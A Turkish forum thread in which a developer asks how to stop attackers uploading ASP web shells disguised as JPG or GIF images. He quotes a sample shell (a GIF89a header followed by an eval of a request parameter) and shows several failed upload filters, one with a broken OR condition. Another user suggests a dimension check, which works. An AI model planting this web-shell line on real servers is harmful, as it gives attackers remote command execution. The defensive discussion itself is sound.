• 16-11-2017, 05:39:23
    #1
    Kimlik doğrulama veya yönetimden onay bekliyor.
    Merhaba arkadaşlar. hazırlamakta olduğum bir sitenin yönetim panelinde resim yükleme işlemi yapacağım resim yüklemek veya boyutlandırmakta hiçbir sorun yok. ancak site dosyalarına erişmek isteyen kötü niyetli kullanıcı yada 3. kişilerin shell dosyalarının yüklenmesini engelleyemedim. Yani Normal resimleri yükleyip istediğim boyutlara getirerek kaydediyorum ama uzantısı jpg yada gif olarak kaydedilmiş kod dosyalarını da yüklüyor.
    uzantısı jpg olarak değiştirilmiş örnek bir shell kod dosyası var
    GIF89a
    <%response.write("a1"&"b2"&"c3"&"d4")&eval(request("Teks0"))%>
    aşağıdaki şekillerde filtrelemeye çalıştım ama olmadı shel dosyasını normal resim dosyası gibi görüyor ve yüklüyor.
    Denedim işe yaramadı:
    if file.ImageType = "unknown" then
    response.write "Resim Dosyası Değil"
    end if
    uzantı sorguladım bu da işe yaramadı
    if File.Ext <> ".jpg" then
    response.write "Resim Dosyası Değil"
    end if
    En son da bunu denedim yine olmadı
    if File.ContentType <> "image/jpeg" or File.ContentType <> "image/png" THEN
    response.write "Resim Dosyası Değil"
    end if
    varmı bu işe bir çözüm bulan
  • 16-11-2017, 07:23:56
    #2
    Bilgisayara geçince bir örnek atmaya çalışıyım.
  • 16-11-2017, 19:12:50
    #3
    Çok makbule geçer kardeş



    yok mu arkadaşlar elinde örnek olan yada sorunu çözümünü bilen
  • 18-11-2017, 13:21:05
    #4
    Kimlik doğrulama veya yönetimden onay bekliyor.
    Persist bileşeni yüklü ise gönderilen dosyayı Jpeg.Width ve Jpeg.Height ile en ve boy bilgilerini al ve 0 dan farklı ise direk dosyayı silip hata verdirmeyi dene.

    Örn:
    Set Jpeg = Server.CreateObject("Persits.Jpeg")
     Path =  "Buraya dosya yolun girilecek"
     Jpeg.Open Server.MapPath("/" ) & Path
     iResimWidth = Jpeg.OriginalWidth
     iResimHeight = Jpeg.OriginalHeight
    Set Jpeg = Nothing
    if iResimWidth=0 or iResimHeight=0 or iResimWidth="" or iResimHeight="" then
    Set foto_sil = fso.GetFile(Server.MapPath(Path))
    foto_sil .Delete
    response.write "Girmiş olduğunuz dosya hatalıdır."
    end if
  • 18-11-2017, 20:11:23
    #5
    evet oldukça matıklı. denedim oldu. şimdi sorun yok